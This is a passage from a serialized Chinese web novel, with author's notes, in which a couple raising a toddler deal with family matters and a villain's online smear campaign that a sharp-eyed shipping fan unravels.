郁明殊原本站在C位吃瓜看戏,近距离品味霍懿安脸上许多个“无声胜有声”的微表情,见埃德蒙已经彻底被宝贝小孙孙蒙蔽了,眼看就要在自家医院里给崽叫救护车,还是笑着打断了这场闹剧:“嘟嘟真的不舒服吗?” 郁明殊声音很温柔,也没有半分威胁黑心小崽老实交代的意思,只不过爱爸崽子还是第一时间接到了爸爸的信号,立即摇头:“米有米有~宝米有感冒~只是刚刚鼻几痒痒~” 世界第一好宝是不会让爸爸担心的! 崽子可爱又乖巧,爷奶疼崽又逗趣,霍懿安……也是个不错的…靶子,虽然还有一些悬而未决的隐忧,但已经是郁明殊自出生起最幸福、轻松、踏实的一段时光,他嘴角的笑意压都压不住。 霍懿安原本都要气成巨型冷冻河豚了,但见郁明殊笑得如此开怀灿烂,紧绷的面皮也不自觉软化下来,瞬间原谅了黑心父母和坏崽,甚至想要原谅全世界(除了薛家人)。 甚至觉得如果能早点将婚前协议解除,让两人过分丰沛冗余的父爱母爱也多多洒向郁明殊就更好了。虽然现在也没少洒,但比起对崽还是收敛了太多。 霍懿安的视线太过灼热,虽然郁明殊平时已经能熟练躲避视而不见了,但当着埃德蒙和霍云轻的面,他的脸皮还是无法做到长时间承受。 郁明殊抬眼看向男人,示意对方别再盯了。 霍懿安却突然俯身凑近:“你一直看我做什么?” 郁明殊一噎,思绪一转就噎了回去:“……看你是不是真感冒了。” 然而同样是被怀疑感冒,霍懿安此刻的心情却大不相同,唇角微微勾起,语气淡然肯定:“你在担心我。” 郁明殊:“…………” 他不敢去看霍云轻夫妻俩的表情了,但两侧射来的灼热目光让他想忽略都忽略不掉,白皙的脸颊还是一点点红了起来。 霍云轻原本笑得很是含蓄微妙,但见儿子眼神拉丝,郁明殊脸色泛红,手掌再也压不住起飞的嘴角了。 * 一家五口一起吃完午饭,崽子便在霍云轻夫妻的满眼不舍中离开。 先是睡了个午觉,然后继续接受劳伦斯的治疗。 因着家长们再三要求不能给崽子造成二次伤害,像之前的昏厥情况绝对不能再次发生,所以劳伦斯现在主要的治疗方式就是陪崽玩。 并在这个过程中一直探索小家伙创伤的边界,试图探寻崽听到名字就会恐惧到昏厥的真正原因。 也因着一切都只能轻缓着来,进展自然相当缓慢。 但崽子对“薛景灿”的强烈反应和最初对埃德蒙的陌生感,已经给他们带来足够多的警示,几人现在的想法不是再从崽子身上获取什么,他们只希望崽子能平安健康,就算进展缓慢也完全不急。 不过霍懿安还是额外授意劳伦斯,希望对方能顺便关注下郁明殊的心理健康。 虽然他能明显感觉到,从领养崽子开始郁明殊的状态就好了很多,在明确爸崽之间的亲子关系后,郁明殊有了更多的心理支撑和底气,状态进一步改善。 但霍懿安此前也的确撞上过郁明殊状态极差的时候、 再想到那对豺狼夫妻多年来给郁明殊带来了无数糟糕记忆,更别说还有薛景灿这种人渣败类的威胁恐吓……实在很难不让他在意。 霍懿安提议过不止一次,但郁明殊都以自己身心健康为由婉拒了,所以现在也只能让劳伦斯探寻崽子的时候,顺便探寻一下崽子他爸的内心。 劳伦斯虽然有些无语但还是答应试试看,霍懿安已经做好再过十天也听不到什么准话的准备,没曾想,晚上去接爸崽时就得到了劳伦斯的准确答复—— 曾经情况的确很严重,几乎是几次到了崩溃边缘,但郁明殊能恢复到当下状态就足以说明他是个内心强大的人,尤其是现在还有了崽子这个更加强有力的心理支撑。 霍懿安听完第一反应是质疑劳伦斯怎么会这么快得出结论? 他不是让他徐徐图之、潜移默化、抽丝剥茧地逐步渗透探寻吗?要不是足够了解对方,霍懿安都会怀疑郁明殊遭到了劳伦斯逼问。 不过相关疑问还没问出口,郁明殊已经牵着换好衣服的崽子走了出来。 西奥多来到B国后受到了更为全面的滋养,最明显的体现就是小肚皮又圆了不少,而崽又向来注重体重管理,即——千万不能让重重的自己将爸爸累到! 所以崽子虽然下午先后进行了跑跳、攀爬、投掷、接力传球、搭建城堡等多项体力与脑力活动,早就将小身体里积攒的电量放光光,却还是在换完衣服后坚持自己走路。 因为崽清楚,他本就重重的小身体已经变得更重啦! 爸爸早上抱他下床的时候,都发出了“哎呦”的声音!就连奶奶都不再说“瞧给我们宝宝饿得都瘦啦,快多吃点”之类的劝饭话啦! 作为全世界最棒最爱爸的乖宝宝,西奥多拖着沉重的小步伐,在看到亲爹的一瞬间就停了下来,站在原地嗷的一嗓子:“爹地!!” 话音未落,一双小胳膊已经张开,意思相当明确:坐!骑!速!来! 知子莫若父,霍懿安在别的方面多少有些感知迟钝,但在被崽坑的时候他再敏锐不过了。 即便如此,他还是将劳伦斯放到一边,径直朝着爸崽走去,很快就将一步都不愿多走的小胖崽抱了起来。 霍懿安常年健身,一身肌肉线条不仅流畅漂亮,非充血状态下手感极佳,是一种非常有韧性的紧实弹软,绝对是最可遇不可求的全包裹“真皮座椅”。 小身体往男人厚实的怀抱里一嵌,就立即放松了全身,眯着眼舒服地哼唧了两声:“明天也要爹地接~” 看得出小家伙是对亲爹牌重型代步人机极为满意了。 “明天不行哦,爹地还要到外面工作,但爸爸会抱你的~”郁明殊知道霍懿安明天另有安排。 准确来说自从埃德蒙手术成功后,霍懿安就一直在到处飞,有太多事情需要他一一查证。 霍懿安不想离开爸崽,奈何崽子需要长期配合劳伦斯制定的计划,只带郁明殊走又是完全不现实的。 他只能尽可能地调整行程,让自己两三天能飞回爸崽身边待一阵子,就像今天,他上午十点抵达,待上十二小时左右就又要离开,中间还需要处理一下这边的工作。 这些具体行程郁明殊从没问过,但霍懿安却早早报备了。 不仅如此,人在外地的时候还电话消息发个不停,就连崽子都不止一次发出灵魂拷问——爹地几么有辣么多话要说啊? 但霍懿安每次的电话或者信息中,都是在点滴进展中夹带大量私货,哪怕崽子有意争夺爸爸的注意力,都很难取得成功,毕竟薛景灿的事还牵扯到从未知时空穿来的崽子。 西奥多已经琢磨一周了,只能想到一个办法可以与爹抗衡,那就是自己再想起点什么重要的内容,或者再做个噩梦什么的。 以至于虽然周围人都没有催崽,崽也在偷偷努力。 劳伦斯爷爷这边每天就是陪崽做各种运动,玩很多游戏,最多是问问他还记不记得梦中的小黑房是什么样的。 然后用3D打印模拟出多个版本,再按照最接近的一版定制了各种尺寸的积木,让郁明殊带着崽一次次搭建并一次次推倒……但崽其实是很想尽快想起点什么吸引爸爸注意力的。 可惜一直都没什么进展,越努力脑袋越空白,晚上更是睡得嘛嘛香。 是以当俩爹坐进车里,霍懿安又立即抛出“正事”这个诱饵引走郁明殊的注意力,崽也只能鼓着小脸抱起小短胳膊,闭嘴开听。 一边为了维持乖宝宝崽设勉强闭嘴,一边又七个不服八个不忿,嘟起的小胖脸上写满“我听听臭爹地又要怎么跟我抢爸爸”了! 不过但凡有进展,霍懿安都忍不到见面,早早就打视频了,所以这次带来的消息算不上进展,郁明殊算下日子也知道。 “拘留期满,那人一被释放就到处打探你和嘟嘟的消息。” 虽然两人一见面,霍懿安的目光就基本不会从郁明殊身上挪开,但这次他看得格外认真仔细,试图从郁明殊的微表情中获取一些能够指向对方需要进行心理疏导的信息。 可惜的是,郁明殊近期每天都要听人提起薛景灿无数次,早就脱敏了,现在得知薛景灿打探他和崽子的消息,也只是担心这人要对崽子图谋不轨,面上没有显露出半点对薛景灿的ptsd。 霍懿安想了想,又提起郁家夫妻都被判了死刑的事。 郁平盛和方安琪的入狱后续,不说全民关注,但也热度颇高,死刑判决一下,必然会迅速传得全网皆知。 就算霍懿安不想让郁明殊烦心也拖不了多久,所以回来的路上就已经在视频里提起过。 郁明殊听闻当下只是怔了一瞬,霍懿安见到本人后也没觉得对方有什么异常,此刻再提,郁明殊也只是平静地点了点头。 霍懿安问道:“你要回去看一眼吗?” 按他的想法肯定是死了活该再也不见,但张秘书提醒过他,见与不见还是要尊重郁明殊自己的想法,霍懿安这才勉为其难问上一句。 毕竟张秘书此前的建议都颇有成效,比如多说漂亮话,自从他在聊天文字里加入大量表情符号后,郁明殊明显更愿意回他消息了——动不动就关心他是不是手机坏了。 郁明殊几乎没有迟疑:“不了。” 没有人是傻子,他一直很清楚养父母对他的感情稀薄而不纯粹,但见识过埃德蒙和霍云轻炽热真挚的爱意,他才意识到他从养父母身上感受到的那一点点亲情,可能都是假的。 他们之前根本不该有什么情分可言,更别说那两人还背负着血债,判决没下来之前,他已经当他们死了。 霍懿安静默了片刻,又继续问道:“你……有没有想过寻找亲生父母?” 郁明殊闻言紧了紧握住崽子的手,实际上他在得知自己是抱错的后,也曾去过对方曾经生活过的福利院。 郁明殊知道那人在福利院长到了五岁,后被领养到国外,期间一直没有亲人到福利院找过他,显然是被抛弃了个彻底,而这也恰好对上了他六亲缘浅的命数。 不仅是养父母虚情假意,只有算计利用,就连亲生父母也一早将他彻底抛弃……现在能有从天而降的乖崽相伴,他就已经满足了。 郁明殊不想再做无意义的事,正准备婉言谢绝,没曾想,坐在两人之间的崽子突然开口:“不阔以!!” 作者有话要说: 昨天卡卡挤挤码了2k,但越写越不对劲删了1k就更不出来了[捂脸笑哭]剧情收尾期比较卡,暂时改为随榜更,最差也是隔日更Orz ◆推推沙雕甜爽完结文《被迫rua上偏执大佬后[快穿]》[让我康康][让我康康][让我康康] 被迫开启惩罚模式,时容每个世界都要rua任务目标苟活。戴罪之身没得选,他决定兢兢业业做任务早日凑够积分摆脱惩罚,至于rua…偷偷摸一把也没什么吧? 【你的任务目标是被扭曲命运玩弄黑化的暴虐反派】 【你需要帮助反派改变悲惨结局,获得应有圆满】 【rua特指与反派接触,包括但不限于捏揉搓抱……】 时容:……? 对上反派淬毒般阴戾的目光,时容陷入深深的沉思。 ——这真不是送死模式??? 后来,时容不仅rua了反派。 还一不小心rua上头了…… 他红着脸擦掉留在反派衣领上的口水:“对不起,吸溜……我就是来抱抱你。” 反派覆上时容后颈,像猛兽试探猎物:“抱一下够吗?” 【病娇真少爷x病弱假少爷】 生于污秽恶念滔天的假白花,终被最纯粹的爱治愈。 他露出温润笑意:“小容是我的珍宝,谁也不能抢走。” 时容两股战战:“……先把手里的东西放下!” 【阴鸷影帝x沙雕金丝雀】 重生归来只为复仇,疯癫无状时却不忘将人护在身后。 他踩着落地戏服,指尖按上心口:"真想烙上我的名字。" 时容眼眶含泪:“呜呜呜你做个人吧!” 【黑暗哨兵x首席向导】 重掌大权后翻手腥风覆手血雨,却只想强占帝国荣光。 深邃的眼底泛起猩红色,声音依旧慢条斯理:“即使是您,也要为自己的行为付出代价,不是吗?” 时容步履虚浮:“你听我解释,我真的是为了任务啊,不是故意勾弓…!!”[痛苦面具.jpg] ●任务世界: ①阴鸷影帝x沙雕金丝雀√ ②病娇真少爷x病弱假少爷√ ③叛国上将Alphax帝国皇储O√ ④末世黑心莲实验体x囤物狂魔雇佣兵√ ⑤腹黑残疾大佬x联姻小少爷√ ⑥冷血天才科学家x乖软可欺小魅魔√ ◤阅读提示◢ 1.※攻受身心双初恋,1v1,※攻从头到尾都是一个人 2.※偏慢穿,※最终结局HE,※小世界也都是he 3.架空甜苏爽,攻受无血缘关系,无生子,无副cp 第76章 郁明殊和霍懿安一起看向崽子,两人都认为是小家伙又想起什么关键信息了,所以第一时间确认崽有没有出现异常。 见崽只是拧着小眉头一脸严肃地攥紧小拳头,郁明殊试探着问道:“嘟嘟怎么了?是想起什么了吗?有没有哪里难受?” 好消息是崽子这次完全没有提及“薛景灿”时的不良反应,但坏消息是他只是在听到爸爸“亲生父母”时,小脑花忽然晃过了什么。 但他仔细去想了又想,只回忆起曾经奶奶每次抱着他夸奖后都要额外念叨两句,诸如:“宝宝以后一定要对爸爸好”、“宝宝能平安长大多亏了你的小殊爸爸”、“宝宝以后要长成男子汉保护爸爸”…… 爹地也说过他是爸爸用三条命换来的,所以他一定要对爸爸天下第一好。 爸爸是天底下最爱他的爸爸,所以他也要成为最爱爸爸的崽……这些话早就深深烙入崽子的心灵深处。 他已经很久不曾想起爹地和奶奶的殷切叮嘱,却也一直都是这么践行的,爱爸早就成为崽子的本能。 他不仅是爸爸的天下第一好宝宝,也是天底下最爱爸爸的暖心爱爸崽! 但这和爸爸的“亲生父母”有什么关系? 崽子也迷茫了,一时也想不清楚为什么自己会突然蹦出了一个“不阔以!”。 面对爸爸的温柔问询,西奥多先是一脸困惑地歪了歪小脑袋,而后突然挺起身啵唧亲了爸爸一口,弯起桃花眼甜甜一笑:“……拔拔,窝好爱里喔~” 虽说对爸的日常表白已经数不清多少次了,但崽子这次却尤为热情激动,脸蛋红红的,洋娃娃似的长睫毛扑闪扑闪的,亲完左脸亲右脸,用夹子小奶音反复强调:“嘟嘟坠爱拔拔!~” 郁明殊一开始也有点莫名,但面对宝贝崽子如此热忱的爱意,他也迅速将正事丢到一边,热情回应起来:“爸爸也最爱嘟嘟~” 西奥多:“拔拔!!~” 郁明殊:“嘟嘟~” …… 一旁的霍懿安:……? 这是什么新型争宠招数?装成想起什么重要内容打断大人谈话,然后狂热表白模糊焦点,而郁明殊又一向宠崽,分分钟就被糖衣炮弹腐化了……? 霍懿安的思绪在“学会了”和“这不行”之间反复横跳,最后还是选择戳破崽子的“诡计”:“嘟嘟,你之前想起什么了,为什么会突然说‘不可以’?” 西奥多本以为自己已经“萌混过关”,闻言小身体僵了一瞬,而后往郁明殊的怀里又埋了埋:“嘟嘟困困……” 话音未落,小肩膀就被亲爹按回了安全座椅:“困就回你自己的座位里睡,你这个小骗崽。” 霍懿安就算没法因这点小事惩罚崽子,但也不能让他完全得逞。 西奥多可受不得半点委屈,当即小嘴一撅:“宝米有骗拔拔!” 霍懿安一向严谨执着,上到百岁老人,下到百日幼崽,他从不会因年龄而宽宥对方,所以爹崽二人立即展开一场互不相让的激烈交锋。 脱去“你有”“我没有”这类口水词汇,大概就是霍懿安指控未满三岁的崽子使用鬼蜮伎俩夺取郁明殊注意力。 西奥多说不清“不阔以”的原因,但也搬出自己突然想起奶奶以前时常叮嘱他要爱爸,并气呼呼隐去爹地曾经的功劳。 “奶奶说宝系拔拔用‘删’条命换来嘟,所以更要爱拔拔!对拔拔好!保护拔拔!!” 霍懿安闻言眉头一皱,但还是非常幼稚地先吐槽了一句:“是‘三’条命。” 崽的小胖脸唰的红了,也不知是气的还是羞恼:“窝窝窝………拔拔!” 崽万分委屈地扑进宝贝爸爸的怀抱,郁明殊无奈又好笑,看了眼同款幼稚的爹和崽子,他还是抱住崽哄道:“嘟嘟现在还不到三岁,以后再大些吐字自然会变得清楚,第二语言说得这么好已经很棒了。” 崽舒服了,扭头对亲爹飞了一刀,才重新黏进爸爸怀里重重一“嗯!!!”。 霍懿安却像感觉不到崽子排斥一样,继续皱眉追问:“三条命是怎么回事?” 崽想了又想:“……不几道,爹地和奶奶米有说。” 霍懿安相当不解:“你亲身经历过的事没印象?” “都系小时候嘟!” “你现在也不大,前后加起来也没三年,这都记不住?” 崽觉得自己又一次被坏爹挑衅到了,立即挺起小胸脯据理力争:“爹地记得寄几小婴鹅时期?!” 霍懿安闭嘴了。 虽然自诩过目不忘,但他和大部分人一样都存在婴儿期记忆缺失的情况,也就是几乎没有三岁前的记忆。 但在霍懿安看来,西奥多一共也没有三岁,不应该这么早就全都忘记。 虽然不知道崽子为什么会突然“不阔以”,但也额外获知在平行世界,西奥多是“郁明殊”用三条命换来的这一重要信息。 原本霍懿安觉得寻找亲生父母是郁明殊自己的事,要遵循他的意愿想法,但现在看来,这件事也许存在一些会让崽子下意识排斥的隐患。 霍懿安先将AI记录仪拍下的完整视频发给了劳伦斯——自从保镖佩戴的记录仪发挥作用,现在两大一小也都戴上了。 事实证明这是很有必要的,就算不是用来取证,也能随时随地记录崽子的特殊表现。 这些都能当做心理分析的辅助材料,可以让劳伦斯更准确细致地进行分析,并适当调整后续的引导方案。 虽然这次的进展是两人一起经历的,霍懿安无需额外说明什么,但还是他在走之前向崽借了十分钟的郁明殊。 当然,崽子是不愿意借的,但霍懿安以大人要商量正事为由,崽也没办法阻止。 崽只能裹着浴巾钻进被子里,抻出爸爸刚刚给他吹干的毛茸茸小脑壳,甜甜一笑糯糯开口:“拔拔要快快回来喔~” 郁明殊再次因崽融化了,脸上写满了对可爱宝贝的喜爱赞叹,明显到就算是霍懿安也能清晰读懂的程度。 甚至仅是分开十分钟,爸崽二人都表现得相当难舍难分。 霍懿安实在是难以理解,明明即将要离开三天的人是他…… 走向书房的路上,男人的天才头脑始终保持着最高转速,CPU几乎要烧起来。 一经站定,霍懿安就立即转身。 随即对着郁明殊绽放出了一个前所未有的笑容,既甜软又璀璨,与崽几乎如出一辙。 不用担心,一切有我。——这般温情暖心的话语尚未出口,就见郁明殊像见鬼了一样,猛地向后退了一大步! 作者有话要说: 西奥多:[哈哈大笑][哈哈大笑][哈哈大笑] 第77章 与预想大相径庭,霍懿安笑容一僵,紧接着冷白俊脸便浮现出一抹罕见的受伤神色:“你躲什么?” “西奥多这么笑的时候,你的表情可不是这样。” 霍懿安的语气太酸了,情绪都摆在明面上,郁明殊就算不想意会都不行。 不过他是真没想到,霍懿安是在模仿崽子朝他笑。 虽然同为金发碧眼,但父崽俩的笑容实在是没有一丝相似处,一个是软萌可爱让人爱不释手,一个是邪祟上身让人避之不及。 郁明殊想了半天都没找到一句霍懿安能爱听的,就想着委婉略过:“你找我来……” “别转移话题,我到底哪里不如西奥多?”霍懿安对自己的学习能力一向自信,从小到大除非他不想做,否则就没有他学不会做不成的事。 郁明殊:“………” 静默片刻,郁明殊掏出手机按下录制键,让霍懿安重笑一下。 半分钟后,霍懿安对着视频中自己仿若丧尸化的扭曲笑容陷入沉默。 这回不需要郁明殊岔开话题,霍懿安很快恢复如常,顶着张冰块脸冷淡又体贴地叮嘱道: “……不用担心嘟嘟新提到的那些,一切有我在,以及,我知道你并不想寻找亲生父母,但现在我觉得还是有必要抢占先机。” “好。”郁明殊听到亲生父母神色就不自觉变得黯淡。 虽然被抛弃已经成既定事实,但就像他早就放下对养父母的全部期待一样,每每想起还是会感到些许黯然神伤。 这副神情落在霍懿安眼中,就是郁明殊心伤未愈,急需专业心理治疗的表现。 多次“委婉”劝说不成,霍懿安这次忍不住直接开口:“你应该和劳伦斯深入地聊一聊。” 郁明殊听完却笑了:“真的不用。” 他想到了什么,眉眼都随之舒展:“我现在真的没事。” 即便知道露娜的死与薛景灿脱不了干系,即便想起了旧日种种,即便未来得知亲生父母就是故意将他抛弃……都没关系。“我现在已经不怕了,也请你不要再为难劳伦斯教授了。” “他跟你说了?”霍懿安一向善于抓错重点。 郁明殊:“……没有,是你的行为太明显了。” 出差三天,每天都要询问四五次,后面霍懿安好不容易放弃,劳伦斯就开始试探他,郁明殊想不发现都难。 “我知道你是关心我担心我,但现在我有嘟嘟,还有叔叔阿姨……”郁明殊原本打算刻意忽略霍懿安,但男人的视线实在太过灼热,根本不容他忽略,迟疑一瞬他还是将霍懿安缀到了最后,“还有你。” 霍懿安舒服了,唇侧勾起浅淡的弧度,湛蓝的眼底透着释然的清辉,显然是被一声“还有你”给轻松哄好了。 郁明殊紧了紧手机,最后还是没有将霍懿安的动人浅笑记录下来。 不过对方显然没有放过他脸上的细微动容,霍懿安伸手就要抱人,郁明殊却再次后退了一步。 霍懿安眉头微蹙:“……我又笑了吗?” 这次郁明殊却没有接茬,而是低头看了眼时间:“你该走了。” 霍懿安感觉到不对劲,但他能做的也只有在走之前,盯着郁明殊把手机里的丧尸抽搐笑视频删掉。 对于崽子的治疗引导,两人的意见始终保持一致,慢慢来就好,一切都以崽的健康安全为上。 对于两人之间的关系,郁明殊的心情却十分复杂。 虽然被欺骗过,但他现在的确也无法产生排斥,但如果想更进一步,他又很确定自己会担心对方再次隐瞒什么。 养崽伙伴和真正的伴侣无法相提并论,随着关系不断拉进,人就是会对身边人产生更多苛求。 就像曾经伤害他的人他都数不清有多少,但真正能对他造成巨大伤害的,只有养父母和被他真正当做朋友的人。 哪怕霍懿安此后一直坦诚,他也会不由自主产生怀疑,而这样的情况对霍懿安也是不公平的。 也许换个人,两人说通了,就不会再纠结过去,但对他这个多年挣扎于泥沼的人来说,裂痕一旦产生就很难弥合。 郁明殊不想让自己变得患得患失疑神疑鬼,他只想抱紧能够让他永远抱紧的崽子…… 虽有隐忧,但一家五口都很满意现状,没有一个急于求成的。 十天过去是这样,二十天过去还是这样,倒是薛景灿先坐不住了。 久等不见人,查也查不到,仿佛郁明殊带着小崽子彻底人间蒸发,这怎么能行? 多拖一天,巨额遗产就多了无数旁落的可能,哪怕薛景灿一开始确信郁明殊不可能知道自己的真实身世,但随着时间一天天推移,他免不了会对此产生质疑。 是不是郁明殊已经知道了什么,才会特意藏起来,并暗中收集证据只待风光回归抢夺财产? 薛景灿一再收紧对知情者的控制,并对消失无踪的郁明殊发起了昏招——不仅让人曝光了西奥多的长相,还假借知情人之口,栽赃西奥多是郁明殊靠身体上位生下的豪门私生子。 薛景灿想的是将欧洋、车祸拥抱的外籍男子、和学校宿舍楼后的神秘男都串连到一块,再给金发小崽子捏造个出身豪门的亲生母亲。 这样郁明殊就成了为了上位不择手段的垃圾,不仅和多名男子纠缠,还骗了一个无辜的女人为他生孩子。 即便达不到人神共愤,也足以挑起民众的愤怒,郁明殊但凡不想社会性死亡,就必然要及时上线澄清。 只要他敢冒头,哪怕是借别人之手,薛景灿就有把握顺藤摸瓜将其挖出来。 而他之所以选择曝光小崽子的长相,一方面是清楚郁明殊极为在意这崽,既然要逼郁明殊主动跳出来,自然要从郁明殊最在意的事上下手。 另一方面也是存了一箭双雕,顺势激出小崽子真实来历的想法。 虽然他一早明确所谓的“富家崽”不过尔尔,也对碾压所谓的“富家崽”胸有成竹,但与其让所谓的“富家”藏在崽子背后,不如直接掀到明面上,他也好顺便扯掉郁明殊卖身上位的遮羞布。 以郁明殊的基础热度,以及吃瓜群众对崽真实长相的好奇心,薛景灿派人爆料的内容,一经发出就快速登顶各大媒体平台的热搜TOP1。 当然,薛景灿是找专人爆料,手法十分有技巧。先是放出西奥多的正脸照引发热议,然后才是引导舆论泼脏水环节。 【我天,我家嘟嘟宝贝竟然比我想象中还要更精致可爱!!!】 【郁明殊怎么忍得住的啊?搁我一天发三百条小红薯问我家孩子能不能当童模!】 【郁明殊你真的可以问!!!!】 【太漂亮了!太漂亮了!!我这就把我闺蜜床头的漂亮宝宝换成嘟嘟!!!】 【靠靠靠这不是和之前那个大手子妈粉画的想象图一模一样?郁明殊小时候的五官搭配路人描述的蓝眼金毛……之前那个妈粉太太还被骂说她用郁明殊的照片溶图,没想到嘟宝就长这样[捂脸][石化][呃]】 【你别说,你真别说,换个瞳色和发色就是郁明殊小时候啊!这说是亲生的我都信,难怪嘟嘟家人愿意让郁明殊带崽,这就是天大的缘分啊!】 【不儿,像成这种程度合理吗?这也太像了吧?】 【也不是没可能吧,娱乐圈就有好几个明星长得特别像呢,不是说整的,就是妈生脸就很像的那种。】 【我记得之前说过,郁明殊是嘟嘟意外投缘的穷亲戚来着。】 【含着金汤匙出生还长成这样,嘟嘟宝贝这辈子都体会不到什么烦恼吧?[柠檬]】 虽然是亲生都很难达到的相似五官,但网友们还是很快把自己说服了。 认为爸崽就是有着特别的缘分,才会出人意料如此相似。关注点很快跑到对崽生的艳羡,和催郁明殊放崽出来拍广告拍戏上。 毕竟普罗大众对于郁明殊小时候只拍了一条广告一事颇有怨言,都认为是暴殄天物,奈何时间不能逆流,郁明殊永远也回不到当初玉雪可爱的幼崽期。 现在发现世上还存在着完美复刻崽,甚至这崽不仅拥有和小郁明殊同款的精致五官,还有着统一中外审美的铂金发色和蓝宝石眼瞳,这谁能忍得住不喜欢啊?! 应运而生的#虽然不缺钱,但请造福社会#相关词条下方,生出无数对萌物的渴求与呐喊—— 【大女人就是要多看看这种小崽崽才有力气讨生活啊!】 【不让我看嘟宝,这破班是一天也干不下去了!】 【严重怀疑是官方放出的嘟嘟正脸照,目的是暗中催生[狗头]】 【不是,至于吗?不就是一个普通小孩?】 【???太疯狂了,这年头都有说嘟嘟普的?】 【[晃手指]和嘟嘟相关的讨论帖从始至终都没有一个晒娃的,足以见得,我嘟的权威无需多言。】 【顺带说一句,和郁明殊相关的帖子也从来没有晒自拍的,你细品[捂嘴笑]】 【我要帮郁明殊和嘟嘟报名娃综!@崽崽来了@爸爸去这了[拍桌]下季没殊殊嘟嘟我不看!】 【srds姐妹冷静一下,这对不是亲父子可能……】 【是不是亲生我们自有评判!】 【@崽崽来了@爸爸去这了!官博速度出来干活了!!群众要看这对父子!懂?】 虽然崽子正脸照的威力远超薛景灿想象,令他十分不解,但他还是让人及时将后续的爆料发了出来。 崽子是郁明殊欺骗富家女生下的私生子的消息,直接空降热搜。 一时间全网震惊,但薛景灿无论如何都没想到,爆料微博的评论区热门第一条是—— 【为什么不能是郁明殊和最早那个金发男是一对,嘟嘟其实是两人的宝宝?】 作者有话要说: 霍懿安:……? 薛景灿好像在帮我[问号] 第78章 最初评论刚发出来,大部分人都以为这位名叫“TULIP”的网友是在搞抽象,也就都跟着各种搞笑回复—— 【对啊,怎么就不能是男人生孩子?博主歧视男性?】 【不对啊,郁明殊长得这么漂亮为什么不能是女孩子?我就说怎么那么多人天天追着郁明殊喊老婆!】 但因着这人不仅头顶郁明殊和金发男子的相拥神图,点进主页一看,这人还是个资深嗑糖专家,磕的对象正是郁明殊和那位不知名金发型男。 甚至个人简介还备注了,这人的网名“TULIP”指的也不是直译的世界名花郁金香,而是:郁x金=我磕的cp真香啊~吸溜吸溜!~ 喜好暴露得实在太明显,大家很快意识到这人不是在搞抽象,是真心实意觉得自己磕的cp有崽了,这个崽正是震惊全网的超绝完美漂亮宝贝嘟嘟! 而且这位“TULIP”并不是在博主爆料出私生子身份后才这么认为的,而是嘟嘟的正脸照一曝光,“TULIP”就连发十条疯言疯语,还搞了个“恭喜豹豹猫猫喜获麟崽”的抽奖。 之后“TULIP”高强度网络冲浪恰好和私生子爆料撞个正着,“TULIP”发自内心提出疑问,歪打正着引大批网友搞抽象跟风,成功将“TULIP”的平静疯话顶到了热评第一。 【疯子疯子疯子,我竟然信了cp粉的鬼话![捂脸]】 【哈哈哈哈哈哈哈不儿,也不是完全不可能啊!郁明殊从没说过嘟嘟不是他亲自生的(确信)】 【好好好,嘟嘟是郁明殊生的是吧?我明天就让我男朋友也给我生一个!】 …… 没曾想“TULIP”还继续语出惊人回复: 【我不是在说疯话,我比博主更加实事求是,首先殊殊提到过他是嘟嘟“意外投缘的穷亲戚”,请问父子算不算亲戚?】 【[郁明殊直播间截图.jpg]之前殊殊澄清与幻影车主之间的关系时说过,他们是“因崽产生链接的亲戚关系”,请问夫夫算不算亲戚?一起生过孩子是不是因崽产生链接?】 此话一出,一下把大批吃瓜群众给问住了,但还是有反应快的发现了端倪: 【不对啊,我记得直播澄清那次是开典藏款幻影的车主,你磕的金毛是最开始车祸的车主,虽然都是开幻影的,但车可不是同一辆啊,当时典藏款用的那个特殊的凯洛什么蓝车漆还上热搜了,我印象特别深刻。】 TULIP:【对啊,不是同一辆幻影,但是同个人啊。这不是很明显吗? 车祸那次黑色幻影撞坏了,肯定就要换车啊,你们觉得殊殊“同时结交两个开不同幻影男性”的概率大?还是殊殊“固定交往的这位男性是劳斯莱斯爱好者”的概率大? 而且我不止认为“车祸、拥抱的金发型男”和“开典藏款幻影带崽接殊殊下班”为同一人,宿舍偷拍那次也是他。 理由一:那次的库里南是劳斯莱斯旗下唯一的SUV车型,符合本人对“金发”之前的推测; 理由二:虽然只拍到下巴,没法和前两次的金发背影比对,但肩宽也相当说明问题。 这个肩宽按正常比例就不会低于一米九,全A市能开得起劳斯莱斯的富豪筛一圈也没两个能达到这个身高的。 更别说即便裹在西装里,男人手臂线条也透着紧实的锻炼痕迹,和之前相拥神图也能对的上。】 吃瓜群众:??? 网友们顶着一脑袋问号还没想好如何反驳,“TULIP”已经开始上证据对比图了。 永远不要小看任何一个cp粉的挖糖能力,一个人就是一个团的福尔摩斯,什么细枝末节都能给你挖出来。 甚至就连宿舍后门仅被偷拍到的库里南车主的下巴,都被TULIP放大到色素块的程度:【大家可以看一下,当时的偷拍照无论怎么放大,都看不到一丁点的青黑胡茬。 正常黑发男性或者金棕发色的男性,就算剃得再干净都不可能一点都没有,这人要么不是男性,要么是天然的浅金发色。】 【……我靠,我是不是被这个cp粉洗脑了?我怎么越听越有道理?】 【点了,不过应该不是洗脑,是真挺有道理的……】 【郁明殊不像是乱搞关系的人,但凡能接受乱搞也不至于被封杀,如果说这些陆续被曝出的背后都指向同一人,那就合理了。】 【所以“车祸相拥幻影金发男”=“带崽接殊下班典藏幻影男”=“宿舍被偷拍的库里南宽肩男”?】 【楼上还漏了一个最重要的,还等于嘟嘟的另一个爸爸[震惊猫猫头]】 【一想到嘟嘟是怎么生出来的,我就爽得停不下来![流鼻血]】 【不是,这就磕上了?你们没想过嘟嘟已经两三岁了,郁明殊是今年下半年才转好的?要是有这么个有钱孩子爹,至于暑假还在送外卖吗?】 【啊啊啊这个我知道!#破镜重圆#丢球跑#追爱火葬场……有同类型小说吗求推!!】 至此,“TULIP”的磕cp行为已成艺术。 cp粉“TULIP”凭借一己之力成功将全网带跑偏,就连霍懿安看到的时候都差点产生了自我质疑——他之前的行为这么明显吗? 随后便追问电话另一端的张秘书:“这个‘郁金香’是你搞出来的?” 张秘书:“……不是。” 虽然他是知情者,但还没厉害到从那么久之前就开始布局,毕竟最初他也没想到这么多啊,反观这位陌生网友,竟然从郁明殊车祸走红就开始磕cp了。 今天能一连串发出这么多实质性证据舌战群儒,一下将全网注意力带歪,全都是近几个月以来的厚积薄发…… 哪怕是张秘书,都默默将“FULIP”主页的每一条都截图保存了,打算年终总结时用作时间线参考。 霍懿安有些惋惜地颔了颔首:不是张秘书的账号,对方估计轻易不会卖。 当然,不论对方是否愿意出售这种心血账号,这个想法都不适合现在落实。 